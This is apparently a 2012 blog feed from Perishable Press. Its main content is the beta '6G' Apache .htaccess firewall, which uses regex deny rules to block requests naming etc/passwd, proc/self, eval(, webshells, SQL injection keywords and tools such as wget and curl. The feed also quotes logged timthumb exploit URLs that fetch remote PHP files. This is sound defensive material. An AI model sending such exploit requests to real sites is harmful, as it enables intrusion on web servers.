Perishable Press

15+ Collections of Minimalist Web Design

Jeff Starr — Wed, 23 May 2012 19:48:20 +0000

I always enjoy looking at good minimalist web design. Here are my 15+ favorite collections of articles featuring minimalist design, comprising nearly 650 examples:

Colorburned — 32 Amazing Minimalist Website Layouts
DesignFestival — Top Minimalist Website Designs: Trends and 23 Examples
Desizn Tech — Why minimal web design works? 6 Examples and analysis
Hongkiat — 100+ Clean, Simple And Minimalist Website Designs
Line25 — 50 Inspiring Examples of Minimalism in Web Design
Six Revisions — 40 Beautiful Examples of Minimalism in Web Design
Six Revisions — 30 Beautiful Clean and Simple Web Designs for Inspiration
Smashing Magazine — Showcase Of Clean And Minimalist Designs (40+ examples)
Smashing Magazine — Principles Of Minimalist Web Design, With 80+ Examples
Speckyboy — 20 New and Free Minimal WordPress Themes
Speckyboy — 35 Effective Examples of Minimalism in Web Design
Splashnology — 35 Examples of Minimalism in Modern Web Design
SpyreStudios — Showcase of 20 Minimalist Grid-Based Web Designs
SpyreStudios — 56 Light & Clean Website Designs Using A Minimalist Color Scheme
Tripwire Magazine — 50 Best Responsive WordPress Themes
Web Design Ledger — 25 Fresh Examples of Minimalist Web Designs

That should get you going, let me know if you know of any that should be added to the list :)

6G Beta

Jeff Starr — Mon, 21 May 2012 17:43:02 +0000

Since releasing the 5G Blacklist earlier this year, malicious server scans and bad requests have surged with more novel attacks than I’ve seen since first getting into this stuff six years ago. In other words, now is the time to beef up security and lock things down. If you’re into monitoring your server and knowing your traffic, you may be observing the same recent spike in malicious activity. In response to these attacks, I’ve been secretly working on the next generation of G-series blacklist, the inevitable 6G Firewall.

Featured in this jam-packed post:

The 6G Firewall – beta version
Development strategy (building the 6G)
Additional resources (article series)
Credits and Thanks
Important notes.. (read first!)

Before getting started, take a moment to read thru the important notes, which contain information about using blacklists, server requirements, licensing, and other details. Then after presenting the 6G beta, we’ll jog through some of the thinking and strategy going into the code. Even without trying the blacklist, reading through “building the 6G Blacklist” should prove a beneficial exercise in pattern-matching and protecting against malicious HTTP behavior.

6G Blacklist beta

The 6G consists of the following sections:

# 6G:[REQUEST STRINGS]
# 6G:[QUERY STRINGS]
# 6G:[USER AGENTS]
# 6G:[REFERRERS]
# 6G:[BAD IPS]

Each of these sections works independently of the others, such that you could, say, omit the entire query-string and IP-address blocks and the remaining sections would continue to work just fine. Mix-n-match to suit your needs. This code is formatted for deployment in your site’s root .htaccess file.

# 6G BLACKLIST/FIREWALL (beta)
# @ http://perishablepress.com/6g-beta/

# 6G:[REQUEST STRINGS]

 RedirectMatch 403 /(\$|\*)/?$
 RedirectMatch 403 (?i)(<|>|:|;|\'|\s)
 RedirectMatch 403 (?i)([a-zA-Z0-9]{18})
 RedirectMatch 403 (?i)(https?|ftp|php)\:/
 RedirectMatch 403 (?i)(\"|\.|\_|\&|\&)$
 RedirectMatch 403 (?i)(\=\\\'|\=\\%27|/\\\'/?)\.
 RedirectMatch 403 (?i)/(author\-panel|submit\-articles)/?$
 RedirectMatch 403 (?i)/(([0-9]{5})|([0-9]{6}))\-([0-9]{10})\.(gif|jpg|png)
 RedirectMatch 403 (?i)(\,|//|\)\+|/\,/|\{0\}|\(/\(|\.\.|\+\+\+|\||\\\"\\\")
 RedirectMatch 403 (?i)/uploads/([0-9]+)/([0-9]+)/(cache|cached|wp-opt|wp-supercache)\.php
 RedirectMatch 403 (?i)\.(asp|bash|cfg|cgi|dll|exe|git|hg|ini|jsp|log|mdb|out|sql|svn|swp|tar|rar|rdf|well)
 RedirectMatch 403 (?i)/(^$|1|addlink|btn_hover|contact?|dkscsearch|dompdf|easyboard|ezooms|formvars|fotter|fpw|i|imagemanager|index1|install|iprober|legacy\-comments|join|js\-scraper|mapcms|mobiquo|phpinfo|phpspy|pingserver|playing|postgres|product|register|scraper|shell|signup|single\-default|t|sqlpatch|test|textboxes.css|thumb|timthumb|topper|tz|ucp_profile|visit|webring.docs|webshell|wp\-lenks|wp\-links|wp\-plugin|wp\-signup|wpcima|zboard|zzr)\.php
 RedirectMatch 403 (?i)/(\=|\$\&|\_mm|administrator|auth|bytest|cachedyou|cgi\-|cvs|config\.|crossdomain\.xml|dbscripts|e107|etc/passwd|function\.array\-rand|function\.parse\-url|livecalendar|localhost|makefile|muieblackcat|release\-notes|rnd|sitecore|tapatalk|wwwroot)
 RedirectMatch 403 (?i)(\$\(this\)\.attr|\&pws\=0|\&t\=|\&title\=|\%7BshopURL\%7Dimages|\_vti\_|\(null\)|$itemURL|ask/data/ask|com\_crop|document\)\.ready\(fu|echo.*kae|eval\(|fckeditor\.htm|function.parse|function\(\)|gifamp|hilton.ch|index.php\&\;quot|jfbswww|monstermmorpg|msnbot\.htm|netdefender/hui|phpMyAdmin/config|proc/self|skin/zero_vote|/spaw2?|text/javascript|this.options)


# 6G:[QUERY STRINGS]

 RewriteCond %{REQUEST_URI} !^/$ [NC]
 RewriteCond %{QUERY_STRING} (mod|path|tag)= [NC,OR]
 RewriteCond %{QUERY_STRING} ([a-zA-Z0-9]{32}) [NC,OR]
 RewriteCond %{QUERY_STRING} (localhost|loopback|127\.0\.0\.1) [NC,OR]
 RewriteCond %{QUERY_STRING} (\?|\.\./|\.|\*|:|;|<|>|'|"|\)|\[|\]|=\\\'$|%0A|%0D|%22|%27|%3C|%3E|%00|%2e%2e) [NC,OR]
 RewriteCond %{QUERY_STRING} (benchmark|boot.ini|cast|declare|drop|echo.*kae|environ|etc/passwd|execute|input_file|insert|md5|mosconfig|scanner|select|set|union|update) [NC]
 RewriteRule .* - [F,L]


# 6G:[USER AGENTS]

 #SetEnvIfNoCase User-Agent ^$ keep_out
 SetEnvIfNoCase User-Agent (<|>|'|<|%0A|%0D|%27|%3C|%3E|%00|href\s) keep_out
 SetEnvIfNoCase User-Agent (archiver|binlar|casper|checkprivacy|clshttp|cmsworldmap|comodo|curl|diavol|dotbot|email|extract|feedfinder|flicky|grab|harvest|httrack|ia_archiver|jakarta|kmccrew|libwww|loader|miner|nikto|nutch|planetwork|purebot|pycurl|python|scan|skygrid|sucker|turnit|vikspider|wget|winhttp|youda|zmeu|zune) keep_out
 
  Order Allow,Deny
  Allow from all
  Deny from env=keep_out
 


# 6G:[REFERRERS]

 RewriteCond %{HTTP_REFERER} (<|>|'|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
 RewriteCond %{HTTP_REFERER} ([a-zA-Z0-9]{32}) [NC]
 RewriteRule .* - [F,L]


# 6G:[BAD IPS]

 Order Allow,Deny
 Allow from all
 # uncomment/edit/repeat next line to block IPs
 # Deny from 123.456.789

Whoop, there it is, but only for testing at this point. So let me know in the comments or via email with any discoveries on 6G beta. I’ll give it at least a month or so before rolling out the official release of the 6G. This beta version is admittedly heavy-handed in some areas, so plenty of edits are expected in the process of fine-tuning and dialing it in. Your help in this process is HUGE and appreciated by myself and other 6G users.

Alright, that’s that. New beta version, but how does it work? Let’s continue with some of the thinking and strategy going into the 6G Firewall..

Behind the scenes / development strategy

Filtering URL requests with Apache involves various modules and directives:

# 6G:[REQUEST STRINGS] -> mod_alias (RedirectMatch)
# 6G:[QUERY STRINGS] -> mod_rewrite (RewriteCond/RewriteRule)
# 6G:[USER AGENTS] -> mod_setenvif (SetEnvIfNoCase User-Agent)
# 6G:[REFERRERS] -> mod_rewrite (RewriteCond/RewriteRule)
# 6G:[BAD IPS] -> core functionality via Limit (Order Allow,Deny)

These modules enable us to filter different parts of the request, such as the user-agent, referrer, and request-string. They operate both autonomously and cumulatively, providing much control over specific HTTP activity and server traffic in general. Apache gives us numerous ways to blacklist bad requests and block bad user agents, requests & queries to prevent hacking. To better understand how the 6G Firewall works, let’s “zoom-in” on the different modules & directives and examine some concrete examples..

Front Line: Request strings

Apache’s mod_alias module enables our frontline of defense via the RedirectMatch directive. RM is used to filter the actual base part of the URL that is requested on the server. Here are some examples of the types of nasty URL requests that are easily blocked via mod_alias/RM:

http://example.com/wp-content/themes/mimboedited/timthumb.php
http://example.com/themes/SimplePress/timthumb.php?src=http%3a%2f
http://example.com/plugins/auto-attachments/timthumb.php?src=http%3A%2F%2Fpicasa.com.ipsupply.com.au%2Fwp-http://example.com/content%2Fuploads%2F2012%2F03%2FIN.php
http://example.com/timthumb.php?src=http%3a%2f
http://example.com/timthumb.php?src=http%3A%2F%2Fflickr.com.bpmohio.com%2Fbad.php
http://example.com/timthumb/timthumb.php?src=http%3A%2F%2Fflickr.com.bpmohio.com%2Fbad.php
http://example.com/timthumb.php?src=http%3A%2F
http://example.com/themes/coda/timtumb.php?src=
http://example.com/timthumb.php?src=http%3A%2F%2Fpicasa.com.ipsupply.com.au%2Fwp-content%2Fuploads%2F2012%2F03%2FIN.php
http://example.com/timthumb.phptimthumb.php?src=
http://example.com/timthumb.phptimthumb.php?src=

http://example.com/wp-content/themes/chapters/thumb.php?src=http%3a%2f%2fpicasa.combos.orgasmguide.org/tmp.php
http://example.com/wp-content/themes/chapters/thumb.php?src=http%3a%2f%2fpicasa.combos.orgasmguide.org/byroe.php

This is a great example as it shows varieties of possibly the most-scanned-for target ever: timthumb.php and its numerous incarnations. Malicious scanners also frequently target files named thumb.php and similar. Recursive scans can mean hundreds or thousands of requests hitting your server in short periods of time. This drains resources and negatively impacts site performance. As if that’s not reason enough to block such activity, if the target vulnerability is actually found on your server, it’s “game over”. So the 6G protects by blocking requests for both thumb.php and timthumb.php, using logic similar to this:

RedirectMatch 403 (?i)/(thumb|timthumb)\.php

That one line in your .htaccess file will block all URL requests that include either thumb.php and timthumb.php (not including the query string). This helps keep many malicious requests at bay, freeing up valuable resources for legit requests. Note that if you are timthumb or similar “thumb” script for your site, you will need to remove the thumb|timthumb| string from 6G (REQUEST STRINGS section).

The first “REQUEST-STRINGS” section in the 6G uses this strategy to block many different types of malicious requests. With each generation of the 6G, the various rules and patterns are further refined and updated to block the most dangerous and relevant types of requests. Pattern-matching with regular expressions enables us to block many different types of threats; however, as precise as we can get, there remain commonly scanned-for targets that are simply too common or too general to block effectively. Consider the following examples:

http://example.com/[path]/share
http://example.com/[path]]/login
http://example.com/[path]/signin
http://example.com/[path]/accepted
http://example.com/[path]/feed.php
http://example.com/[path]/form.php
http://example.com/[path]/format.php
http://example.com/[path]/plugin-editor.php
http://example.com/[path]/post.php
http://example.com/[path]/post-new.php
http://example.com/[path]/wp-comments-post.php
http://example.com/[path]/wp-conf.php
http://example.com/[path]/wp-error.php
http://example.com/[path]/wp-library.php
http://example.com/[path]/wp-post.php
http://example.com/[path]/update.php
http://example.com/[path]/upload.php

In these examples URLs, the target string is the part appearing immediately after the “http://example.com/[path]/”, which is necessary to include in this post because it prevents sloppy search engines and bad bots from following these supposedly “relative” links and generating further 404 errors. But I digress.. the point here is that malicious scans frequently target existing files that are too common to block in a widely distributed firewall such as 6G. If you’re getting hit with many requests for common/well-known files, my best advice is to custom-craft a few rules based on the actual structure and content of your site.

A quick example of this, let’s say the server is getting hammered by malicious requests targeting a file named post-new.php. This file name is common enough to warrant not blacklisting in the 6G, even though it is trivial to block on an individual basis. Here at Perishable Press, I’m running WordPress in a subdirectory named “/wp/”, so I know immediately that I can safely block all requests for post.php that aren’t located in the /wp/ directory.

RewriteCond %{REQUEST_URI} !^/wp/wp-admin/post.php [NC]
RewriteCond %{REQUEST_URI} /post.php [NC]
RewriteRule .* - [F,L]

Similarly, as the post.php file is located in a subdirectory and not root, we can use mod_alias’ RedirectMatch to block all requests for the file in a root-install of WordPress:

RedirectMatch 403 ^/wp-admin/post.php

With either of these methods, other common files are easily added to the rule, safely eliminating extraneous requests for non-existent files. This example serves to demonstrate one of the shortcomings of any copy/paste blacklist, while illustrating the importance of customizing and fine-tuning your own security strategy.

Filtering Query strings

Some URLs include a query-string, which is appended to the URL via question mark (?). Query strings tend to look like gibberish or random strings to the uninitiated, but are actually highly specific, well-structured data used to communicate between browser and server. Without knowing what’s happening on your server, it may difficult to discern between good and bad query-string requests, but there are some things to look for:

Unusual and/or unexpected characters such as additional question marks, angled brackets, asterix, and so on
Unencoded characters that should be encoded, such as these: $ & + , / : ; = ? @
Super-long random-looking strings of encoded gibberish, alphanumeric or laced with symbols such as %
Super-short query strings that may seem to terminate abruptly, often with a single quote ('), double quote ("), or equal sign (=)

There are other signs as well, but ultimately it comes down to whether the request is understood or not by the server. If it’s not, the request could be a simple 404 error or similar, or it could be malicious. Generally the one-off 404s are the result of typos or other human errors, and tend to appear sporadically or infrequently in the server-access logs. Contrast this with malicious query-string requests that occur frequently, in rapid succession, targeting non-existent files with encoded gibberish and other nonsense.

With the 5G Blacklist in place, many evil query-string requests are blocked, but with the recent surge of scanning activity, a new breed of encoded nasty was getting through, looking similar to these examples:

?aHR0cDovL3BlcmlzaGFibGVwcmVzcy5jb20vY3NzLWltYWdlLWNhY2hpbmcv==
?aHR0cDovL3BlcmlzaGFibGVwcmVzcy5jb20vaHRtbDUtdGFibGUtdGVtcGxhdGUv==
?aHR0cDovL3BlcmlzaGFibGVwcmVzcy5jb20vYmFzaWMtZG9zLWNvbW1hbmRzLw==
?aHR0cDovL3BlcmlzaGFibGVwcmVzcy5jb20vd2hhdC1pcy1teS13b3JkcHJlc3MtZmVlZC11cmwv
?aHR0cDovL3BlcmlzaGFibGVwcmVzcy5jb20vcHJlc3MvMjAwNy8wMS8xNi9tYXhpbXVtLWFuZC1taW5pbXVtLWhlaWdodC1hbmQtd2lkdGgtaW4taW50ZXJuZXQtZXhwbG9yZXIv
?actions=get_wp_version%2Cget_plugins%2Cget_themes%2Csupports_backups%2Cget_filesystem_method&wpr_api_key=15644F32D7D80B3150710834D8F406E9&t=1335026415
?actions=get_wp_version%2Cget_plugins%2Cget_themes%2Csupports_backups%2Cget_filesystem_method&wpr_api_key=15644F32D7D80B3150710834D8F406E9&t=1335026385

As you can see, these malicious strings contain numerous common-denominators that could be matched against, such as:

%2C matching the UTF-8 (hex) encoded encoded comma (,) would be partially effective
== matching two equal signs would be partially effective
Other character combinations..?

We could match the hex-encoded comma, but that’s such a common character that it would cause more problems than it would solve (in most cases), so really not an option. Looking closely at other possible character-combinations, suddenly the “least-common denominator” hits you: long, random sequences of alphanumeric characters appear in all of these examples, and many others that I’ve encountered. Thus, in the query-string section of the 6G, excessively long strings of alphanumeric characters are effectively blocked with the following rule:

RewriteCond %{QUERY_STRING} ([a-zA-Z0-9]{32}) [NC,OR]

Yeah.. the trick here is choosing the optimal number of sequential characters to match against. If we set the match to, say, {16}, the number of false positives increases; conversely, if we set the match to a larger number, such as {64}, the number of false negatives increases. So once again it’s all about finding the balance.

Important note about placement of the 6G query-string rules within the .htaccess file. If the query-string rules don’t seem to be working, try moving them to appear before any other mod_rewrite rules that may be in play. I’m not sure why this is the case, but I think it has something to do with the query-string data being unavailable for processing after the first encounter with mod_rewrite. Any info on this would be appreciated :)

Blocking Bad User-agents

The next two sections in the 6G protect against some of the worst user-agents and referrers from messing with your site. The technique is essentially the same as with the request-string and query-string sections, but filters different properties of the URI request.

The specified user-agent of a request may consist of multiple elements, and it may be empty. Previous versions of the g-series blacklist block empty (or “blank”) user-agents with the following rule:

SetEnvIfNoCase User-Agent ^$ keep_out

This rule “flags” any request from a blank user-agent, and worked well for many years. These days, however, social-media, mobile apps, PayPal, and certain Ajax requests frequently use an empty string as the user-agent when interacting with the server. For example, Google requires the blank user-agent in order to display thumbnails for Google+. So at this point the pros/cons of blocking bad empty requests is a no-brainer and the rule is now “deprecated” (commented-out) with a pound-sign (#).

Beyond this, the 6G USER-AGENTS section includes new rules

binlar
nutch
sucker
zmeu

Plus around 20 other nasty agents are blocked in the 5G, with the entire “USER-AGENT” section included as sort of a template for individual customization. Unfortunately, there are increasing numbers of malicious strings being passed as the user-agent, so the 6G includes more protection in this area. The 6G not only blocks additional well-known bad agents, it protects against encoded strings, forbidden characters, and other malicious garbage. Most of this is accomplished with a single new directive:

SetEnvIfNoCase User-Agent (<|>|'|<|%0A|%0D|%27|%3C|%3E|%00|href\s) keep_out

These character strings have no business appearing in the user-agent string. Most if not all of the widely used browsers such as Firefox, Chrome, Opera, IE, mobile browsers, feed readers, and even borderline/questionable scripts and bots refrain from suing any of these forbidden characters in their user-agent description. For example, here is Chrome’s reported user-agent:

Mozilla/5.0 Macintosh Intel Mac OS X 10_6_8 AppleWebKit/536.5 KHTML, like Gecko Chrome/19.0.1084.46 Safari/536.5

Legitimate user-agents contain only valid strings, so blocking illegal characters is an effective way to filter directory-traversals, XSS attacks, and other malicious exploits.

Blocking Bad Referrers

The 6G Firewall/Blacklist also includes new directives for blocking bad referrers. The strategy here is similar to that of the additional QUERY-STRING rules: filtering malicious character-strings to protect against bad referrers. Referrer information isn’t always included with the request, so we don’t want to block blank referrers, but forbidden characters are safely blocked, as are long strings (32 characters or more) of strictly alphanumeric characters. A simple and effective strategy using the following two filters:

RewriteCond %{HTTP_REFERER} (<|>|'|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{HTTP_REFERER} ([a-zA-Z0-9]{32}) [NC]

This also serves as a template for further customization. If you’re seeing lots of weird referrers filling your access/error logs, the REFERRERS section of the 6G will help to curb the riff-raff.

Blocking Bad IPs

Blocking by IP address is best used for specific threats, either individual, or by region, country, or similar. With a strong firewall, blocking IPs is unnecessary unless someone or something is attacking you specifically with requests that aren’t being blocked. I’ve heard from a number of people saying that their sites are being targeted/harassed by weird stalkers, enemies, spurned lovers, and it goes on and on. I’ve experienced this through a chat/forum site that had attracted all sorts of low-life, bottom-feeding douche-bags. They would just jump into the chat at random and ruin the conversation with potty humor and juvenile slurs. The PHP blacklist for the chat script wasn’t catching a lot of the garbage, so it was a perfect time to check the logs and ban the fools individually. After a bit of research and a few lines of .htaccess, the idiots were gone and peace was restored to the chat forum.

Thus, for the purpose of blocking individual threats the “bad-IPs” section of the 6G is entirely optional and intended as a template to use should the need arise. By default, the bad-IPs section in the 6G is empty, but over the past few months I’ve assembled my own private collection of blacklisted IP addresses. These are the some of the worst offenders I’ve seen this year:

# 2012 IP Blacklist

 Deny from 24.213.139.114
 Deny from 87.144.218.222
 Deny from 95.5.32.79
 Deny from 213.251.186.27
 Deny from 88.191.93.186
 Deny from 91.121.136.44
 Deny from 50.56.92.47
 Deny from 174.143.148.105
 Deny from 82.170.168.91
 Deny from 24.213.139.114
 Deny from 61.147.110.14
 Deny from 188.134.42.65
 Deny from 122.164.215.155
 Deny from 65.49.68.173
 Deny from 220.155.1.166
 Deny from 218.38.16.26
 Deny from 50.56.92.47
 Deny from 24.213.139.114
 Deny from 91.200.19.84
 Deny from 31.44.199.131
 Deny from 49.50.8.63

Including these IPs is entirely optional — they are provided here mostly for reference, but also for über-paranoid faction ;)

Thanks to..

Thank you to everyone who contributes to the g-series blacklist with feedback, suggestions, test-results, and links. Specifically for the 6G beta, huge thanks goes to Ken Dawes and Andy Wrigley for their generous help.

Important notes..

This is the beta release of the 6G Blacklist. There have been many improvements, including optimized code, greater accuracy, and better overall protection. I’ve been running the 6G (in its various incarnation) here at Perishable Press for the past several weeks and have been well-pleased with the results. The 6G is pretty slick stuff, but there are some important things to keep in mind:

It takes more than a blacklist to secure your site: No one single security measure is perfect; good security is the result of many concerted strategic layers of protection. The 6G is designed to better secure your site by adding a strong layer of protection.
Sometimes blacklists block legit requests: A perfect firewall would block only bad traffic, but in reality it’s inevitable that some good requests get blocked. The goal is to keep the number of false positives to a minimum while maximizing the effectiveness of the ruleset. It’s a statistical game of sorts.
Resolving issues..: If/when you do encounter a potential false positive (e.g., you can’t load a certain page), there is a simple way to determine if it’s that crazy chunk of blacklist code you stuck into your .htaccess file. If you remove the blacklist and the page in question begins to work, well, you’ve can either forget about it or take a few moments to locate the offending rule and remove it from the list. I’ve found that it’s better to “comment out” rather than delete as it’s easier to keep track of things when the inevitable next version of the blacklist hits the streets.
This is beta.: And most importantly, this is the beta version of the 6G. As mentioned, there’s a lot of new stuff happening with this blacklist, and it’s super-important for me to thoroughly test via widest base possible. Only use this code if you are savvy and want to help out by reporting data, errors, logs, or whatever. That said, this “beta” version has been running flawlessly on multiple sites, including one that’s super-complex with many themes, plugins, and customizations (i.e., this site).
It’s all you.: Once the code leaves this site, you assume all responsibility. Always back up your original working .htaccess file and you should be good to go.
Server requirements: Linux/Apache or similar (if adapted). 6G is formatted for deployment in .htaccess files, and also works when formatted for use directly in the Apache main configuration file. For the required Apache modules, see this list.
License: GNU General Public License.

I freely share my work on the g-series blacklist to help the community better protect their sites against malicious activity. If you find it useful, please show support by linking and sharing so others may learn and benefit as well. Thanks.

Add Google+ Share Button to Any Site

Jeff Starr — Wed, 02 May 2012 17:44:05 +0000

g+ Share button Word on the streets is that the new Google+ Share button is the best way yet to benefit from Google’s myriad social-media services and all-important search-engine. And Google makes it SO easy to add the new Share button to your website. This article explains what it is, where it fits in with all the other social-Google stuff, and of course how to add the g+ Share button to any site.

What is Google Share?

If this was Google’s only social-media project, Share would be a no-brainer: it’s for sharing stuff on Google+. But it’s not. With the new Share button, there’s Google, iGoogle, Google+, Google+ +1, and now, Google+ Share. Huh? That’s a lot of plus signs and “ooh” sounds.. Whatever, here’s an overview/recap for the confused masses (approx chronological order):

Google bookmarking using your account profile
iGoogle add links and content to your startpage
Google+ alternative to Facebook
Google +1 similar to Facebook’s “Like”, but for search results
Google+ Share makes it really easy to share stuff on Google+ (see #3)

..and for the visually inclined:

What’s it all mean? Far from me to explain it all, but I can tell you honestly that I’ve paid little attention to any of Google’s social-media services until now. From what I can tell, for Google 5th time’s a charm — g+ Share brings one-click content sharing with the world’s most influential search engine. Plus the wizardz at Google have made it absolutely drop-dead easy. Sound good? Here’s how to set it up on your site in a matter of minutes..

How to add the Google+ Share button to your site

To get going with the g+ Share buttons, copy/paste the following code anywhere in your HTML file:

Done. Visit your web page in a browser and you should see the Share button displayed like so:

That’s really all there is to it. Once you’ve got the Share button on your pages, visitors can quickly and easily share your content with their circles (public and/or private), friends, and just about anyone else using Google. When the visitor hovers over the button, a simple popup box displays this (if logged-in to their Google+ account):

..or, if the user is not logged in to any Google account, the popup will display a simple “Share this on Google+” message. If an unlogged user clicks the button, they are invited to sign up for a Google+ account. If the user is already logged in, clicking the Share button results in a popup box similar to this:

..and then Google does its thing and takes over from there. It’s seductively simple — something worth checking out at least once before loving it or moving on to the next. Typically I’m not a huge social-media buff, but this one’s fun, easy, and worth it.

How to customize the Google+ Share button

The previous “quick-n-dirty” method for adding the Share button is great to get things rolling, but eventually you may decide that some customization is in order. Using the official g+ Share dev page with some help from +1 Button dev page, here are some examples showing how to customize and implement the Google+ Share button.

Easy way for basic customizing

For easy & basic customizing, visit the g+ Share dev page and play with the Share-button generator. Currently, you can only specify the Annotation, Size, and Language, but it may be enough to get the job done.

Asynchronous JavaScript loading

This is the method I’m using here at Perishable Press, with the Share buttons displayed beneath the title on single posts only (see beneath the title of this post for an example).

In addition to the asynchronous loading, this example also disables the “Share this on Google+” annotation to keep things super-simple. Here are some of the other tag attributes for the Share button:

href — URL to share (default = current page)
annotation — inline, bubble, vertical-bubble, or none (default = bubble)
width — maximum width for the button (no default)
height — exact height of the button (default = 20)
align — left or right (default: left)
expandTo — top, right, bottom, left (default = empty list)
onstartinteraction — function(jsonParam) (no default)
onendinteraction — function(jsonParam (no default)

For more info on this and other parameters and attributes, visit the Share dev page.

Add the Google+ Share button to WordPress

With WordPress, adding the Share button works the same way: just add the code anywhere in your theme template files and done. If you only want to display the Share button on single posts (as mentioned previously), move the chunk of JavaScript code to the footer (just before the closing tag), and wrap it with a WP conditional tag:

WordPress conditional tags enable you to display the button just about any type of pageview — single-posts, archive views, pages, and more. Once the JavaScript is optimally configured, add the following code snippet wherever you would like to display the button:

And in case you were wondering about displaying multiple Share buttons, say, on your home page, go right ahead — should work just fine.

How to style the Share button with CSS

One minor annoyance I encountered while implementing the Share button is that it’s impossible to style the contents of an with CSS. And that’s exactly how the Share button is displayed on your site — using a LOT of markup all rolled up into a convenient . As an example, here’s the markup generated for the Share button on a recent post

That’s a big chunk, containing lots of inline styles on both the inline frame and the parent

container. It’s also relatively “hookless” — no obvious classes for CSS styling, not to mention it can be difficult to override inline styles and next to impossible to style the contents of the , which involves even more code that we won’t get into here. But if you’re savvy with your browser, there are ways (e.g., Firebug) of getting in there and inspecting things in excruciating detail.

The easiest modular approach that I could muster is simply wrapping the Share tag/element with a parent

(block-level) or (inline), and then style with CSS as needed (or as much as possible). Here is an example:

So virtually nil control over the actual Share button, but the parent .gplus makes it easy to tweak the location of the button with something like this:

.gplus { position: relative; top: 5px; }

The .gplus (or whatever) hook makes it easier to fine-tune position, background color, additional borders, or whatever gels with the design.

Notes & stuff

Some potentially useful bits when working with Share buttons..

How is the share URL determined? — 1) explicit href attribute on share tag, 2) , or 3) document.location.href
Placement of the JavaScript/share-tag? — the JavaScript is recommended placed directly after the share tag (markup), but it may be placed anywhere on the page (footer, header, body).

I also noticed that pages containing the Share button seemed to reload the page occasionally as I was testing things and logging in and out of my Google+ account. It looks like this behavior helps determine the contents of the popup/modal window. Not sure how that works without looking into it, so if anyone knows more about that, shout it out. For more of the “details” involved with Share, check the FAQs.

Update (2012/05/04): Looking closer at the differences between Share and +1 buttons:

Share button: share with select groups of people (public or private); no +1 option available directly in popup window; no +1 option available for the actual article anywhere, but you can +1 your share post (as seen in your Google+ account).
+1 button: share with select groups of people (public or private); clicking the button “plus-one’s” it and your +1 vote is counted publicly; you also have option to share right there in the popup window; you can also +1 your share post (as seen in Google+ account).

Based on this, it looks like Share is for sharing only, but +1 is for both sharing and adding +1 for the article. So now I’m checking out both: Share button before the article, and +1 after.. will report in a month or so as to the effectiveness or not of each one — stay tuned.

Blank Space / Whitespace Character for .htaccess

Jeff Starr — Mon, 30 Apr 2012 18:26:20 +0000

Working on the next version of the G-Series Blacklist, I needed a way to match a wide variety of UTF-8-encoded (hex) character strings. Those familiar with their site’s traffic will recognize this particular type of URI request string, which is typically associated with malicious server scanning, exploits, and other malicious behavior. As I explain in this post, pattern-matching and blocking the blank-space, or whitespace character in URL-requests is an effective way to improve the security of your website.

Skip the explanation and grab the code

Examples of blank-space characters in URL requests

Here is a selection of malicious URL patterns that I want to match and block using 6G blacklist techniques (via the UTF-8 (hex) encoder):

UTF-8 encoded	Decoded request
`http://example.com/hack%20*/`	`http://example.com/hack */`
`http://example.com/%3Ca%20href=`	`http://example.com/`
`http://example.com/%5bNext%20URL%20in%20series%5d`	`http://example.com/[Next URL in series]`
`http://example.com/XHTML%20Document%20Header%20Resource`	`http://example.com/XHTML Document Header Resource`
`http://example.com/%22%20title=%22%22%20rel=%22nofollow`	`http://example.com/" title="" rel="nofollow`
`http://example.com/Apache%20Module%20mod_authz_host`	`http://example.com/Apache Module mod_authz_host`
`http://example.com/%27.%20get_permalink()%20.`	`http://example.com/'. get_permalink() .`
`http://example.com/search/%20%20%20/page/13/`	`http://example.com/search/ /page/13/`
`http://example.com/%20%20%20/page/8/`	`http://example.com/ /page/8/`
`http://example.com/%3Ca%20href=`	`http://example.com/`
`http://example.com/%20*/`	`http://example.com/ */`

This gives you an idea of what these encoded requests are targeting using the UTF-8 (hex)-encoded characters. According to HTTP Specification, any character that is not one of the following must be encoded in order to appear legitimately within URLs:

Regular-use characters - allowed unencoded within URLs

$ - _ . + ! * ' ( ) ,

0 1 2 3 4 5 6 7 8 9

a b c d e f g h i j k l m n o p q r s t u v w x y z
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Not included in this “safe-character” list, the humble white space (or blank space) must be encoded when included in the URL. As explained by the Network Working Group:

Characters can be unsafe for a number of reasons. The space character is unsafe because significant spaces may disappear and insignificant spaces may be introduced when URLs are transcribed or typeset or subjected to the treatment of word-processing programs.

Looking back at our target URLs, we find that the least common denominator is the encoded whitespace character, %20. Oh sure, there are plenty of other encoded characters that could be targeted, but zeroing in on blank spaces in the URL is an effective way to catch and block many of these types of malicious requests.

How to match the blank-space/whitespace character with .htaccess

Now that we have a reason to do so, let’s use .htaccess to match and block all URL requests that include one or more whitespace characters. It’s as simple as adding this line to your root .htaccess file


 RedirectMatch 403 \s

So the punchline to this diatribe is that an escaped “s” character (\s) is the regex to match blank spaces when using .htaccess directives via mod_alias (RedirectMatch) and mod_rewrite (RewriteRule). Here is an example using Apache’s mod_rewrite:


 RewriteCond %{REQUEST_URI} !^/$
 RewriteCond %{REQUEST_URI} \s
 RewriteRule .* http://perishablepress.com/ [R=301,L]

This example will redirect any requests that include whitespace to the home page (edit to match your own URL). To block them instead, replace the RewriteRule with this:

RewriteRule .* - [F,L]

Note that it doesn’t matter if the initial requests are encoded or not — the end result of any encoded request is the un-encoded, canonical URL (not including the query string), so targeting literal whitespace in the request URI is effective. In fact, you should only use this method if you know what you are doing and are certain that none of your URLs contain whitespace or blank spaces.

Matching whitespace in query strings

Wrapping up, here is how to block blank spaces in the query-string portion of the URL, which is impossible using either of the previous two examples. Using mod_rewrite, we can target the %{QUERY_STRING} variable to catch any whitespace:


 RewriteCond %{REQUEST_URI} !^/$
 RewriteCond %{QUERY_STRING} \s
 RewriteRule .* - [F,L]

No editing required — just drop into your .htaccess file and good to go. As always, comments and questions welcome, and thanks for reading! :)

Case-Insensitive RedirectMatch

Jeff Starr — Fri, 20 Apr 2012 17:42:51 +0000

Cool trick that you may not have known about.. it’s possible to get case-insensitive matching with the powerful RedirectMatch directive. Normally, you would just write your redirect as something like this:

RedirectMatch 301 /phpMyAdmin http://example.com/somewhere-else/

This works great, but it’s case-sensitive. You could just match the all-lowercase version, but there are some phrases — such as “phpMyAdmin” — that really benefit from going the case-insensitive route. Those familiar with Apache might be screaming, “just use a rewrite rule!” Something like this will certainly get you there:


 RewriteCond %{REQUEST_URI} /phpMyAdmin [NC]
 RewriteRule .* http://example.com/somewhere-else/ [R=301,L]

